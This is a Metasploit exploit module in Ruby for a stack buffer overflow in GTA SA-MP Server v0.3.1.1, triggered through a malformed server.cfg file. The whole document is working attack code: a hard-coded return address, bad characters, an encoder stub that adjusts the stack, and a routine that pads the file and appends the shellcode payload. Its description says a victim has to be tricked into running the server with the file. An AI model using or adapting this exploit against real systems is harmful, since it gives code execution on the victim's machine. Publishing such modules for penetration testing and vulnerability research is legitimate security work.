##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GTA SA-MP server.cfg Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in GTA SA-MP Server.
          This buffer overflow occurs when the application attempts to open a malformed
          server.cfg file.  To exploit this vulnerability, an attacker must send the
          victim a server.cfg file and have them run samp-server.exe.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Silent_Dream', # Original discovery, MSF Module, template by mona.py
        ],
        'References' => [
          [ 'CVE', '2011-10014' ],
          [ 'OSVDB', '83433' ],
          [ 'EDB', '17893' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x0d\x0a\x1a",
          'Space' => 392,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
          'DisableNops' => true,
          'MaxSize' => 392,
        },

        'Targets' => [
          [
            'GTA SA-MP (samp-server) v0.3.1.1',
            {
              'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-09-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
      ]
    )
  end

  def exploit
    buffer = "echo "
    buffer << rand_text_alpha_upper(379)
    buffer << [target.ret].pack('V')
    buffer << payload.encoded
    file_create(buffer)
  end
end